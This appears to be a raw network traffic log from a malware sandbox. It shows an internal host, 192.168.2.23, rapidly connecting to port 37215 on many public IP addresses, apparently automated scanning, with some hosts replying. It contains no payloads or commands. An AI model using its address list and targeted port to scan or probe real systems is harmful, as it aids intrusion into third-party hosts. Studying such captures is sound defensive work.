Jul 20, 2024 23:00:57.221220016 CEST	47794	37215	192.168.2.23	41.166.85.150
Jul 20, 2024 23:00:57.221247911 CEST	44040	37215	192.168.2.23	41.242.31.133
Jul 20, 2024 23:00:57.221247911 CEST	38000	37215	192.168.2.23	41.143.61.103
Jul 20, 2024 23:00:57.221272945 CEST	38628	37215	192.168.2.23	157.240.255.134
Jul 20, 2024 23:00:57.221280098 CEST	43126	37215	192.168.2.23	197.4.26.126
Jul 20, 2024 23:00:57.221301079 CEST	49974	37215	192.168.2.23	197.231.189.109
Jul 20, 2024 23:00:57.221313000 CEST	37348	37215	192.168.2.23	86.49.143.0
Jul 20, 2024 23:00:57.221338034 CEST	59124	37215	192.168.2.23	157.236.245.35
Jul 20, 2024 23:00:57.221338034 CEST	47982	37215	192.168.2.23	197.32.17.115
Jul 20, 2024 23:00:57.221364975 CEST	32888	37215	192.168.2.23	41.210.186.227
Jul 20, 2024 23:00:57.221366882 CEST	52450	37215	192.168.2.23	41.214.240.131
Jul 20, 2024 23:00:57.221482038 CEST	40150	37215	192.168.2.23	41.226.72.201
Jul 20, 2024 23:00:57.221503973 CEST	48608	37215	192.168.2.23	175.193.29.172
Jul 20, 2024 23:00:57.221503973 CEST	52232	37215	192.168.2.23	197.155.27.254
Jul 20, 2024 23:00:57.221503973 CEST	46632	37215	192.168.2.23	197.17.13.46
Jul 20, 2024 23:00:57.221529961 CEST	57708	37215	192.168.2.23	41.143.175.164
Jul 20, 2024 23:00:57.221549988 CEST	37826	37215	192.168.2.23	41.76.26.43
Jul 20, 2024 23:00:57.221549988 CEST	41818	37215	192.168.2.23	207.93.222.13
Jul 20, 2024 23:00:57.221556902 CEST	43680	37215	192.168.2.23	157.254.68.190
Jul 20, 2024 23:00:57.221564054 CEST	33418	37215	192.168.2.23	197.127.202.249
Jul 20, 2024 23:00:57.221582890 CEST	35138	37215	192.168.2.23	197.213.7.238
Jul 20, 2024 23:00:57.221582890 CEST	44458	37215	192.168.2.23	157.170.128.9
Jul 20, 2024 23:00:57.221570015 CEST	43176	37215	192.168.2.23	157.215.252.1
Jul 20, 2024 23:00:57.221570015 CEST	42574	37215	192.168.2.23	41.240.149.129
Jul 20, 2024 23:00:57.221570015 CEST	53302	37215	192.168.2.23	157.143.196.120
Jul 20, 2024 23:00:57.221623898 CEST	56366	37215	192.168.2.23	197.221.173.151
Jul 20, 2024 23:00:57.221646070 CEST	57502	37215	192.168.2.23	157.189.184.171
Jul 20, 2024 23:00:57.221726894 CEST	55506	37215	192.168.2.23	157.6.221.99
Jul 20, 2024 23:00:57.221735001 CEST	47684	37215	192.168.2.23	41.214.148.214
Jul 20, 2024 23:00:57.221748114 CEST	47728	37215	192.168.2.23	41.6.98.70
Jul 20, 2024 23:00:57.221748114 CEST	39456	37215	192.168.2.23	57.35.73.126
Jul 20, 2024 23:00:57.221790075 CEST	53842	37215	192.168.2.23	197.55.83.122
Jul 20, 2024 23:00:57.221790075 CEST	56808	37215	192.168.2.23	197.138.137.217
Jul 20, 2024 23:00:57.221801996 CEST	43520	37215	192.168.2.23	61.117.29.155
Jul 20, 2024 23:00:57.221802950 CEST	50602	37215	192.168.2.23	157.15.115.232
Jul 20, 2024 23:00:57.221802950 CEST	36746	37215	192.168.2.23	41.173.160.14
Jul 20, 2024 23:00:57.221802950 CEST	53230	37215	192.168.2.23	46.47.224.132
Jul 20, 2024 23:00:57.221888065 CEST	47604	37215	192.168.2.23	197.178.33.225
Jul 20, 2024 23:00:57.221910000 CEST	51880	37215	192.168.2.23	132.70.95.60
Jul 20, 2024 23:00:57.221920967 CEST	49826	37215	192.168.2.23	41.65.251.158
Jul 20, 2024 23:00:57.222007990 CEST	35550	37215	192.168.2.23	168.165.233.141
Jul 20, 2024 23:00:57.222008944 CEST	36512	37215	192.168.2.23	157.21.67.49
Jul 20, 2024 23:00:57.222028971 CEST	58950	37215	192.168.2.23	197.71.207.159
Jul 20, 2024 23:00:57.222079992 CEST	46562	37215	192.168.2.23	197.224.182.83
Jul 20, 2024 23:00:57.222090006 CEST	41354	37215	192.168.2.23	197.93.123.78
Jul 20, 2024 23:00:57.222090960 CEST	55906	37215	192.168.2.23	197.159.88.79
Jul 20, 2024 23:00:57.222127914 CEST	38764	37215	192.168.2.23	60.176.144.80
Jul 20, 2024 23:00:57.222129107 CEST	40802	37215	192.168.2.23	41.157.99.54
Jul 20, 2024 23:00:57.222138882 CEST	50028	37215	192.168.2.23	27.41.96.136
Jul 20, 2024 23:00:57.222162962 CEST	44174	37215	192.168.2.23	197.38.235.14
Jul 20, 2024 23:00:57.222162962 CEST	43440	37215	192.168.2.23	197.212.61.129
Jul 20, 2024 23:00:57.222163916 CEST	51548	37215	192.168.2.23	172.101.164.72
Jul 20, 2024 23:00:57.222163916 CEST	34472	37215	192.168.2.23	41.90.43.161
Jul 20, 2024 23:00:57.222163916 CEST	57796	37215	192.168.2.23	197.249.133.131
Jul 20, 2024 23:00:57.222163916 CEST	57480	37215	192.168.2.23	78.242.93.228
Jul 20, 2024 23:00:57.222163916 CEST	34808	37215	192.168.2.23	41.19.255.66
Jul 20, 2024 23:00:57.222163916 CEST	36788	37215	192.168.2.23	69.74.218.35
Jul 20, 2024 23:00:57.222207069 CEST	34718	37215	192.168.2.23	197.89.108.63
Jul 20, 2024 23:00:57.222207069 CEST	39796	37215	192.168.2.23	197.52.45.132
Jul 20, 2024 23:00:57.222229004 CEST	54738	37215	192.168.2.23	41.9.160.205
Jul 20, 2024 23:00:57.222254038 CEST	52740	37215	192.168.2.23	149.227.100.108
Jul 20, 2024 23:00:57.222254038 CEST	34142	37215	192.168.2.23	197.5.25.5
Jul 20, 2024 23:00:57.222279072 CEST	47332	37215	192.168.2.23	197.146.199.163
Jul 20, 2024 23:00:57.222279072 CEST	60150	37215	192.168.2.23	157.12.120.37
Jul 20, 2024 23:00:57.222279072 CEST	34110	37215	192.168.2.23	41.81.198.30
Jul 20, 2024 23:00:57.222279072 CEST	58602	37215	192.168.2.23	157.10.69.196
Jul 20, 2024 23:00:57.222373962 CEST	48860	37215	192.168.2.23	157.115.56.95
Jul 20, 2024 23:00:57.222377062 CEST	33462	37215	192.168.2.23	41.107.86.189
Jul 20, 2024 23:00:57.222395897 CEST	54222	37215	192.168.2.23	37.80.86.165
Jul 20, 2024 23:00:57.222395897 CEST	42510	37215	192.168.2.23	173.155.49.17
Jul 20, 2024 23:00:57.222420931 CEST	59050	37215	192.168.2.23	203.201.15.112
Jul 20, 2024 23:00:57.222430944 CEST	55530	37215	192.168.2.23	157.37.107.134
Jul 20, 2024 23:00:57.222440958 CEST	40788	37215	192.168.2.23	157.147.238.186
Jul 20, 2024 23:00:57.222440958 CEST	48734	37215	192.168.2.23	41.174.115.244
Jul 20, 2024 23:00:57.222470045 CEST	34536	37215	192.168.2.23	197.76.203.13
Jul 20, 2024 23:00:57.222470045 CEST	56886	37215	192.168.2.23	17.113.7.103
Jul 20, 2024 23:00:57.222470999 CEST	44014	37215	192.168.2.23	143.179.199.146
Jul 20, 2024 23:00:57.222476959 CEST	40282	37215	192.168.2.23	23.141.91.228
Jul 20, 2024 23:00:57.222476959 CEST	53130	37215	192.168.2.23	157.110.226.143
Jul 20, 2024 23:00:57.222479105 CEST	58196	37215	192.168.2.23	197.77.131.53
Jul 20, 2024 23:00:57.222480059 CEST	52728	37215	192.168.2.23	125.230.182.28
Jul 20, 2024 23:00:57.222506046 CEST	34064	37215	192.168.2.23	221.200.167.164
Jul 20, 2024 23:00:57.222510099 CEST	47068	37215	192.168.2.23	197.30.15.103
Jul 20, 2024 23:00:57.222510099 CEST	47794	37215	192.168.2.23	41.166.85.150
Jul 20, 2024 23:00:57.222522020 CEST	36734	37215	192.168.2.23	157.189.55.135
Jul 20, 2024 23:00:57.222522974 CEST	49446	37215	192.168.2.23	199.229.94.109
Jul 20, 2024 23:00:57.222522974 CEST	45112	37215	192.168.2.23	157.87.181.134
Jul 20, 2024 23:00:57.222522974 CEST	46136	37215	192.168.2.23	197.12.204.52
Jul 20, 2024 23:00:57.222528934 CEST	44040	37215	192.168.2.23	41.242.31.133
Jul 20, 2024 23:00:57.222528934 CEST	38000	37215	192.168.2.23	41.143.61.103
Jul 20, 2024 23:00:57.222532988 CEST	49188	37215	192.168.2.23	197.166.141.245
Jul 20, 2024 23:00:57.222532988 CEST	37174	37215	192.168.2.23	157.233.134.27
Jul 20, 2024 23:00:57.222532988 CEST	42650	37215	192.168.2.23	47.7.162.229
Jul 20, 2024 23:00:57.222565889 CEST	59124	37215	192.168.2.23	157.236.245.35
Jul 20, 2024 23:00:57.222565889 CEST	47982	37215	192.168.2.23	197.32.17.115
Jul 20, 2024 23:00:57.222579956 CEST	32888	37215	192.168.2.23	41.210.186.227
Jul 20, 2024 23:00:57.222595930 CEST	37348	37215	192.168.2.23	86.49.143.0
Jul 20, 2024 23:00:57.222595930 CEST	37826	37215	192.168.2.23	41.76.26.43
Jul 20, 2024 23:00:57.222614050 CEST	40150	37215	192.168.2.23	41.226.72.201
Jul 20, 2024 23:00:57.222644091 CEST	41818	37215	192.168.2.23	207.93.222.13
Jul 20, 2024 23:00:57.222676039 CEST	44052	37215	192.168.2.23	197.23.80.245
Jul 20, 2024 23:00:57.222676039 CEST	49974	37215	192.168.2.23	197.231.189.109
Jul 20, 2024 23:00:57.222676039 CEST	43176	37215	192.168.2.23	157.215.252.1
Jul 20, 2024 23:00:57.222676039 CEST	42574	37215	192.168.2.23	41.240.149.129
Jul 20, 2024 23:00:57.222676039 CEST	53302	37215	192.168.2.23	157.143.196.120
Jul 20, 2024 23:00:57.222676992 CEST	47604	37215	192.168.2.23	197.178.33.225
Jul 20, 2024 23:00:57.222693920 CEST	55506	37215	192.168.2.23	157.6.221.99
Jul 20, 2024 23:00:57.222703934 CEST	33418	37215	192.168.2.23	197.127.202.249
Jul 20, 2024 23:00:57.222709894 CEST	52450	37215	192.168.2.23	41.214.240.131
Jul 20, 2024 23:00:57.222709894 CEST	57708	37215	192.168.2.23	41.143.175.164
Jul 20, 2024 23:00:57.222709894 CEST	43680	37215	192.168.2.23	157.254.68.190
Jul 20, 2024 23:00:57.222709894 CEST	56366	37215	192.168.2.23	197.221.173.151
Jul 20, 2024 23:00:57.222713947 CEST	38628	37215	192.168.2.23	157.240.255.134
Jul 20, 2024 23:00:57.222713947 CEST	35138	37215	192.168.2.23	197.213.7.238
Jul 20, 2024 23:00:57.222713947 CEST	44458	37215	192.168.2.23	157.170.128.9
Jul 20, 2024 23:00:57.222713947 CEST	47728	37215	192.168.2.23	41.6.98.70
Jul 20, 2024 23:00:57.222713947 CEST	39456	37215	192.168.2.23	57.35.73.126
Jul 20, 2024 23:00:57.222769022 CEST	49826	37215	192.168.2.23	41.65.251.158
Jul 20, 2024 23:00:57.222769976 CEST	48608	37215	192.168.2.23	175.193.29.172
Jul 20, 2024 23:00:57.222770929 CEST	52232	37215	192.168.2.23	197.155.27.254
Jul 20, 2024 23:00:57.222770929 CEST	46632	37215	192.168.2.23	197.17.13.46
Jul 20, 2024 23:00:57.222770929 CEST	43520	37215	192.168.2.23	61.117.29.155
Jul 20, 2024 23:00:57.222770929 CEST	50602	37215	192.168.2.23	157.15.115.232
Jul 20, 2024 23:00:57.222770929 CEST	36746	37215	192.168.2.23	41.173.160.14
Jul 20, 2024 23:00:57.222770929 CEST	53230	37215	192.168.2.23	46.47.224.132
Jul 20, 2024 23:00:57.222770929 CEST	41354	37215	192.168.2.23	197.93.123.78
Jul 20, 2024 23:00:57.222796917 CEST	35550	37215	192.168.2.23	168.165.233.141
Jul 20, 2024 23:00:57.222815037 CEST	37215	36772	182.102.31.222	192.168.2.23
Jul 20, 2024 23:00:57.222824097 CEST	46562	37215	192.168.2.23	197.224.182.83
Jul 20, 2024 23:00:57.222841978 CEST	53842	37215	192.168.2.23	197.55.83.122
Jul 20, 2024 23:00:57.222841978 CEST	56808	37215	192.168.2.23	197.138.137.217
Jul 20, 2024 23:00:57.222841978 CEST	36512	37215	192.168.2.23	157.21.67.49
Jul 20, 2024 23:00:57.222887993 CEST	54738	37215	192.168.2.23	41.9.160.205
Jul 20, 2024 23:00:57.222908020 CEST	40802	37215	192.168.2.23	41.157.99.54
Jul 20, 2024 23:00:57.223015070 CEST	51880	37215	192.168.2.23	132.70.95.60
Jul 20, 2024 23:00:57.223015070 CEST	38764	37215	192.168.2.23	60.176.144.80
Jul 20, 2024 23:00:57.223015070 CEST	58950	37215	192.168.2.23	197.71.207.159
Jul 20, 2024 23:00:57.223015070 CEST	36772	37215	192.168.2.23	182.102.31.222
Jul 20, 2024 23:00:57.223015070 CEST	50028	37215	192.168.2.23	27.41.96.136
Jul 20, 2024 23:00:57.223015070 CEST	34718	37215	192.168.2.23	197.89.108.63
Jul 20, 2024 23:00:57.223015070 CEST	47332	37215	192.168.2.23	197.146.199.163
Jul 20, 2024 23:00:57.223015070 CEST	39796	37215	192.168.2.23	197.52.45.132
Jul 20, 2024 23:00:57.223015070 CEST	60150	37215	192.168.2.23	157.12.120.37
Jul 20, 2024 23:00:57.223015070 CEST	36772	37215	192.168.2.23	182.102.31.222
Jul 20, 2024 23:00:57.223015070 CEST	34110	37215	192.168.2.23	41.81.198.30
Jul 20, 2024 23:00:57.223015070 CEST	58602	37215	192.168.2.23	157.10.69.196
Jul 20, 2024 23:00:57.223015070 CEST	49446	37215	192.168.2.23	199.229.94.109
Jul 20, 2024 23:00:57.223015070 CEST	36772	37215	192.168.2.23	182.102.31.222
Jul 20, 2024 23:00:57.223429918 CEST	55906	37215	192.168.2.23	197.159.88.79
Jul 20, 2024 23:00:57.223431110 CEST	52740	37215	192.168.2.23	149.227.100.108
Jul 20, 2024 23:00:57.223431110 CEST	34142	37215	192.168.2.23	197.5.25.5
Jul 20, 2024 23:00:57.223886967 CEST	41330	37215	192.168.2.23	197.148.93.189
Jul 20, 2024 23:00:57.223886967 CEST	51376	37215	192.168.2.23	41.76.204.184
Jul 20, 2024 23:00:57.223886967 CEST	55928	37215	192.168.2.23	41.25.193.130
Jul 20, 2024 23:00:57.223886967 CEST	41094	37215	192.168.2.23	157.66.238.102
Jul 20, 2024 23:00:57.223886967 CEST	36278	37215	192.168.2.23	157.203.14.217
Jul 20, 2024 23:00:57.223886967 CEST	52906	37215	192.168.2.23	157.119.223.145
Jul 20, 2024 23:00:57.223887920 CEST	43126	37215	192.168.2.23	197.4.26.126
Jul 20, 2024 23:00:57.223887920 CEST	57502	37215	192.168.2.23	157.189.184.171
Jul 20, 2024 23:00:57.224126101 CEST	47684	37215	192.168.2.23	41.214.148.214
Jul 20, 2024 23:00:57.224126101 CEST	44174	37215	192.168.2.23	197.38.235.14
Jul 20, 2024 23:00:57.224126101 CEST	43440	37215	192.168.2.23	197.212.61.129
Jul 20, 2024 23:00:57.224126101 CEST	51548	37215	192.168.2.23	172.101.164.72
Jul 20, 2024 23:00:57.224127054 CEST	34472	37215	192.168.2.23	41.90.43.161
Jul 20, 2024 23:00:57.224127054 CEST	57796	37215	192.168.2.23	197.249.133.131
Jul 20, 2024 23:00:57.224127054 CEST	57480	37215	192.168.2.23	78.242.93.228
Jul 20, 2024 23:00:57.224127054 CEST	34808	37215	192.168.2.23	41.19.255.66
Jul 20, 2024 23:00:57.224432945 CEST	36788	37215	192.168.2.23	69.74.218.35
Jul 20, 2024 23:00:57.224432945 CEST	41330	37215	192.168.2.23	197.148.93.189
Jul 20, 2024 23:00:57.224432945 CEST	51376	37215	192.168.2.23	41.76.204.184
Jul 20, 2024 23:00:57.224433899 CEST	55928	37215	192.168.2.23	41.25.193.130
Jul 20, 2024 23:00:57.225481033 CEST	37215	36734	157.189.55.135	192.168.2.23
Jul 20, 2024 23:00:57.225733995 CEST	37215	48860	157.115.56.95	192.168.2.23
Jul 20, 2024 23:00:57.225744009 CEST	37215	33462	41.107.86.189	192.168.2.23
Jul 20, 2024 23:00:57.225773096 CEST	37215	45112	157.87.181.134	192.168.2.23
Jul 20, 2024 23:00:57.225784063 CEST	37215	40282	23.141.91.228	192.168.2.23
Jul 20, 2024 23:00:57.225868940 CEST	37215	40788	157.147.238.186	192.168.2.23
Jul 20, 2024 23:00:57.225878000 CEST	37215	53130	157.110.226.143	192.168.2.23
Jul 20, 2024 23:00:57.225886106 CEST	37215	34064	221.200.167.164	192.168.2.23
Jul 20, 2024 23:00:57.225903988 CEST	37215	54222	37.80.86.165	192.168.2.23
Jul 20, 2024 23:00:57.225914955 CEST	37215	42510	173.155.49.17	192.168.2.23
Jul 20, 2024 23:00:57.226032019 CEST	37215	55530	157.37.107.134	192.168.2.23
Jul 20, 2024 23:00:57.226042032 CEST	37215	48734	41.174.115.244	192.168.2.23
Jul 20, 2024 23:00:57.226052046 CEST	37215	41094	157.66.238.102	192.168.2.23
Jul 20, 2024 23:00:57.226061106 CEST	37215	46136	197.12.204.52	192.168.2.23
Jul 20, 2024 23:00:57.226068974 CEST	37215	36278	157.203.14.217	192.168.2.23
Jul 20, 2024 23:00:57.226084948 CEST	37215	59050	203.201.15.112	192.168.2.23
Jul 20, 2024 23:00:57.226094961 CEST	37215	34536	197.76.203.13	192.168.2.23
Jul 20, 2024 23:00:57.226164103 CEST	37215	52728	125.230.182.28	192.168.2.23
Jul 20, 2024 23:00:57.226172924 CEST	37215	49188	197.166.141.245	192.168.2.23
Jul 20, 2024 23:00:57.226181030 CEST	37215	52906	157.119.223.145	192.168.2.23
Jul 20, 2024 23:00:57.226238012 CEST	37215	37174	157.233.134.27	192.168.2.23
Jul 20, 2024 23:00:57.226246119 CEST	37215	56886	17.113.7.103	192.168.2.23
Jul 20, 2024 23:00:57.226254940 CEST	37215	42650	47.7.162.229	192.168.2.23
Jul 20, 2024 23:00:57.226274014 CEST	37215	44014	143.179.199.146	192.168.2.23
Jul 20, 2024 23:00:57.226362944 CEST	37215	44052	197.23.80.245	192.168.2.23
Jul 20, 2024 23:00:57.226371050 CEST	37215	58196	197.77.131.53	192.168.2.23
Jul 20, 2024 23:00:57.226378918 CEST	37215	44040	41.242.31.133	192.168.2.23
Jul 20, 2024 23:00:57.226409912 CEST	37215	38000	41.143.61.103	192.168.2.23
Jul 20, 2024 23:00:57.226421118 CEST	37215	47068	197.30.15.103	192.168.2.23
Jul 20, 2024 23:00:57.226461887 CEST	37215	38628	157.240.255.134	192.168.2.23
Jul 20, 2024 23:00:57.226509094 CEST	37215	47794	41.166.85.150	192.168.2.23
Jul 20, 2024 23:00:57.226517916 CEST	37215	43126	197.4.26.126	192.168.2.23
Jul 20, 2024 23:00:57.226589918 CEST	37215	49974	197.231.189.109	192.168.2.23
Jul 20, 2024 23:00:57.226639032 CEST	37215	37348	86.49.143.0	192.168.2.23
Jul 20, 2024 23:00:57.226653099 CEST	37215	59124	157.236.245.35	192.168.2.23
Jul 20, 2024 23:00:57.226764917 CEST	37215	47982	197.32.17.115	192.168.2.23
Jul 20, 2024 23:00:57.226773977 CEST	37215	32888	41.210.186.227	192.168.2.23
Jul 20, 2024 23:00:57.226846933 CEST	37215	52450	41.214.240.131	192.168.2.23
Jul 20, 2024 23:00:57.226933002 CEST	37215	40150	41.226.72.201	192.168.2.23
Jul 20, 2024 23:00:57.226942062 CEST	37215	57708	41.143.175.164	192.168.2.23
Jul 20, 2024 23:00:57.226989985 CEST	37215	48608	175.193.29.172	192.168.2.23
Jul 20, 2024 23:00:57.227072001 CEST	37215	37826	41.76.26.43	192.168.2.23
Jul 20, 2024 23:00:57.227123022 CEST	37215	33418	197.127.202.249	192.168.2.23
Jul 20, 2024 23:00:57.227372885 CEST	37215	35138	197.213.7.238	192.168.2.23
Jul 20, 2024 23:00:57.227381945 CEST	37215	43680	157.254.68.190	192.168.2.23
Jul 20, 2024 23:00:57.227495909 CEST	37215	41818	207.93.222.13	192.168.2.23
Jul 20, 2024 23:00:57.227524996 CEST	37215	44458	157.170.128.9	192.168.2.23
Jul 20, 2024 23:00:57.227637053 CEST	37215	56366	197.221.173.151	192.168.2.23
Jul 20, 2024 23:00:57.227646112 CEST	37215	43176	157.215.252.1	192.168.2.23
Jul 20, 2024 23:00:57.227844000 CEST	37215	57502	157.189.184.171	192.168.2.23
Jul 20, 2024 23:00:57.227852106 CEST	37215	52232	197.155.27.254	192.168.2.23
Jul 20, 2024 23:00:57.227861881 CEST	37215	55506	157.6.221.99	192.168.2.23
Jul 20, 2024 23:00:57.227871895 CEST	37215	46632	197.17.13.46	192.168.2.23
Jul 20, 2024 23:00:57.227881908 CEST	37215	42574	41.240.149.129	192.168.2.23
Jul 20, 2024 23:00:57.227890968 CEST	37215	47728	41.6.98.70	192.168.2.23
Jul 20, 2024 23:00:57.227900982 CEST	37215	53842	197.55.83.122	192.168.2.23
Jul 20, 2024 23:00:57.227910995 CEST	37215	53302	157.143.196.120	192.168.2.23
Jul 20, 2024 23:00:57.227921009 CEST	37215	43520	61.117.29.155	192.168.2.23
Jul 20, 2024 23:00:57.227931023 CEST	37215	56808	197.138.137.217	192.168.2.23
Jul 20, 2024 23:00:57.227941990 CEST	37215	39456	57.35.73.126	192.168.2.23
Jul 20, 2024 23:00:57.227952957 CEST	37215	50602	157.15.115.232	192.168.2.23
Jul 20, 2024 23:00:57.227962017 CEST	37215	49826	41.65.251.158	192.168.2.23
Jul 20, 2024 23:00:57.228051901 CEST	37215	47604	197.178.33.225	192.168.2.23
Jul 20, 2024 23:00:57.228061914 CEST	37215	36746	41.173.160.14	192.168.2.23
Jul 20, 2024 23:00:57.228071928 CEST	37215	51880	132.70.95.60	192.168.2.23
Jul 20, 2024 23:00:57.228081942 CEST	37215	36512	157.21.67.49	192.168.2.23
Jul 20, 2024 23:00:57.228091002 CEST	37215	53230	46.47.224.132	192.168.2.23
Jul 20, 2024 23:00:57.228101015 CEST	37215	58950	197.71.207.159	192.168.2.23
Jul 20, 2024 23:00:57.228110075 CEST	37215	35550	168.165.233.141	192.168.2.23
Jul 20, 2024 23:00:57.228127956 CEST	37215	46562	197.224.182.83	192.168.2.23
Jul 20, 2024 23:00:57.228140116 CEST	37215	47684	41.214.148.214	192.168.2.23
Jul 20, 2024 23:00:57.228147984 CEST	37215	41354	197.93.123.78	192.168.2.23
Jul 20, 2024 23:00:57.228156090 CEST	37215	38764	60.176.144.80	192.168.2.23
Jul 20, 2024 23:00:57.228164911 CEST	37215	55906	197.159.88.79	192.168.2.23
Jul 20, 2024 23:00:57.228408098 CEST	37215	40802	41.157.99.54	192.168.2.23
Jul 20, 2024 23:00:57.228415966 CEST	37215	50028	27.41.96.136	192.168.2.23
Jul 20, 2024 23:00:57.228423119 CEST	37215	54738	41.9.160.205	192.168.2.23
Jul 20, 2024 23:00:57.228430986 CEST	37215	52740	149.227.100.108	192.168.2.23
Jul 20, 2024 23:00:57.228437901 CEST	37215	34718	197.89.108.63	192.168.2.23
Jul 20, 2024 23:00:57.228447914 CEST	37215	47332	197.146.199.163	192.168.2.23
Jul 20, 2024 23:00:57.228456974 CEST	37215	34142	197.5.25.5	192.168.2.23
Jul 20, 2024 23:00:57.228466034 CEST	37215	60150	157.12.120.37	192.168.2.23
Jul 20, 2024 23:00:57.228475094 CEST	37215	39796	197.52.45.132	192.168.2.23
Jul 20, 2024 23:00:57.228493929 CEST	37215	34110	41.81.198.30	192.168.2.23
Jul 20, 2024 23:00:57.228503942 CEST	37215	58602	157.10.69.196	192.168.2.23
Jul 20, 2024 23:00:57.228554964 CEST	37215	44174	197.38.235.14	192.168.2.23
Jul 20, 2024 23:00:57.228564978 CEST	37215	49446	199.229.94.109	192.168.2.23
Jul 20, 2024 23:00:57.229253054 CEST	37215	43440	197.212.61.129	192.168.2.23
Jul 20, 2024 23:00:57.229301929 CEST	37215	36772	182.102.31.222	192.168.2.23
Jul 20, 2024 23:00:57.229383945 CEST	37215	51548	172.101.164.72	192.168.2.23
Jul 20, 2024 23:00:57.229392052 CEST	37215	34472	41.90.43.161	192.168.2.23
Jul 20, 2024 23:00:57.229438066 CEST	37215	57796	197.249.133.131	192.168.2.23
Jul 20, 2024 23:00:57.229448080 CEST	37215	57480	78.242.93.228	192.168.2.23
Jul 20, 2024 23:00:57.229456902 CEST	37215	34808	41.19.255.66	192.168.2.23
Jul 20, 2024 23:00:57.229465961 CEST	37215	36788	69.74.218.35	192.168.2.23
Jul 20, 2024 23:00:57.229475975 CEST	37215	41330	197.148.93.189	192.168.2.23
Jul 20, 2024 23:00:57.229620934 CEST	37215	51376	41.76.204.184	192.168.2.23
Jul 20, 2024 23:00:57.229629993 CEST	37215	55928	41.25.193.130	192.168.2.23
Jul 20, 2024 23:00:57.269231081 CEST	37215	47794	41.166.85.150	192.168.2.23
Jul 20, 2024 23:00:57.269242048 CEST	37215	59124	157.236.245.35	192.168.2.23
Jul 20, 2024 23:00:57.269251108 CEST	37215	38000	41.143.61.103	192.168.2.23
Jul 20, 2024 23:00:57.269258976 CEST	37215	47068	197.30.15.103	192.168.2.23
Jul 20, 2024 23:00:57.269265890 CEST	37215	44040	41.242.31.133	192.168.2.23
Jul 20, 2024 23:00:57.269273996 CEST	37215	36734	157.189.55.135	192.168.2.23
Jul 20, 2024 23:00:57.269277096 CEST	37215	52728	125.230.182.28	192.168.2.23
Jul 20, 2024 23:00:57.269285917 CEST	37215	53130	157.110.226.143	192.168.2.23
Jul 20, 2024 23:00:57.269294977 CEST	37215	34064	221.200.167.164	192.168.2.23
Jul 20, 2024 23:00:57.269304991 CEST	37215	48734	41.174.115.244	192.168.2.23
Jul 20, 2024 23:00:57.269314051 CEST	37215	48860	157.115.56.95	192.168.2.23
Jul 20, 2024 23:00:57.269323111 CEST	37215	58196	197.77.131.53	192.168.2.23
Jul 20, 2024 23:00:57.269331932 CEST	37215	34536	197.76.203.13	192.168.2.23
Jul 20, 2024 23:00:57.269341946 CEST	37215	40282	23.141.91.228	192.168.2.23
Jul 20, 2024 23:00:57.269349098 CEST	37215	40788	157.147.238.186	192.168.2.23
Jul 20, 2024 23:00:57.269359112 CEST	37215	59050	203.201.15.112	192.168.2.23
Jul 20, 2024 23:00:57.269367933 CEST	37215	42510	173.155.49.17	192.168.2.23
Jul 20, 2024 23:00:57.269377947 CEST	37215	55530	157.37.107.134	192.168.2.23
Jul 20, 2024 23:00:57.269386053 CEST	37215	54222	37.80.86.165	192.168.2.23
Jul 20, 2024 23:00:57.269395113 CEST	37215	33462	41.107.86.189	192.168.2.23
Jul 20, 2024 23:00:57.276674032 CEST	37215	55928	41.25.193.130	192.168.2.23
Jul 20, 2024 23:00:57.276690960 CEST	37215	51376	41.76.204.184	192.168.2.23
Jul 20, 2024 23:00:57.276701927 CEST	37215	41330	197.148.93.189	192.168.2.23
Jul 20, 2024 23:00:57.276748896 CEST	37215	36788	69.74.218.35	192.168.2.23
Jul 20, 2024 23:00:57.276757002 CEST	37215	34808	41.19.255.66	192.168.2.23
Jul 20, 2024 23:00:57.276766062 CEST	37215	57480	78.242.93.228	192.168.2.23
Jul 20, 2024 23:00:57.276776075 CEST	37215	57796	197.249.133.131	192.168.2.23
Jul 20, 2024 23:00:57.276782990 CEST	37215	34472	41.90.43.161	192.168.2.23
Jul 20, 2024 23:00:57.276792049 CEST	37215	51548	172.101.164.72	192.168.2.23
Jul 20, 2024 23:00:57.276802063 CEST	37215	43440	197.212.61.129	192.168.2.23
Jul 20, 2024 23:00:57.276809931 CEST	37215	44174	197.38.235.14	192.168.2.23
Jul 20, 2024 23:00:57.276819944 CEST	37215	47684	41.214.148.214	192.168.2.23
Jul 20, 2024 23:00:57.276829004 CEST	37215	57502	157.189.184.171	192.168.2.23
Jul 20, 2024 23:00:57.276839018 CEST	37215	43126	197.4.26.126	192.168.2.23
Jul 20, 2024 23:00:57.276848078 CEST	37215	52906	157.119.223.145	192.168.2.23
Jul 20, 2024 23:00:57.276856899 CEST	37215	36278	157.203.14.217	192.168.2.23
Jul 20, 2024 23:00:57.276868105 CEST	37215	41094	157.66.238.102	192.168.2.23
Jul 20, 2024 23:00:57.276875973 CEST	37215	36772	182.102.31.222	192.168.2.23
Jul 20, 2024 23:00:57.276884079 CEST	37215	34142	197.5.25.5	192.168.2.23
Jul 20, 2024 23:00:57.276892900 CEST	37215	49446	199.229.94.109	192.168.2.23
Jul 20, 2024 23:00:57.276901960 CEST	37215	39796	197.52.45.132	192.168.2.23
Jul 20, 2024 23:00:57.276911020 CEST	37215	52740	149.227.100.108	192.168.2.23
Jul 20, 2024 23:00:57.276921034 CEST	37215	58602	157.10.69.196	192.168.2.23
Jul 20, 2024 23:00:57.276940107 CEST	37215	55906	197.159.88.79	192.168.2.23
Jul 20, 2024 23:00:57.276947975 CEST	37215	34110	41.81.198.30	192.168.2.23
Jul 20, 2024 23:00:57.276956081 CEST	37215	34718	197.89.108.63	192.168.2.23
Jul 20, 2024 23:00:57.276964903 CEST	37215	60150	157.12.120.37	192.168.2.23
Jul 20, 2024 23:00:57.276973963 CEST	37215	41354	197.93.123.78	192.168.2.23
Jul 20, 2024 23:00:57.276983976 CEST	37215	47332	197.146.199.163	192.168.2.23
Jul 20, 2024 23:00:57.276993036 CEST	37215	53230	46.47.224.132	192.168.2.23
Jul 20, 2024 23:00:57.277002096 CEST	37215	38764	60.176.144.80	192.168.2.23
Jul 20, 2024 23:00:57.277009010 CEST	37215	50028	27.41.96.136	192.168.2.23
Jul 20, 2024 23:00:57.277018070 CEST	37215	36512	157.21.67.49	192.168.2.23
Jul 20, 2024 23:00:57.277028084 CEST	37215	36746	41.173.160.14	192.168.2.23
Jul 20, 2024 23:00:57.277036905 CEST	37215	58950	197.71.207.159	192.168.2.23
Jul 20, 2024 23:00:57.277045965 CEST	37215	50602	157.15.115.232	192.168.2.23
Jul 20, 2024 23:00:57.277055979 CEST	37215	51880	132.70.95.60	192.168.2.23
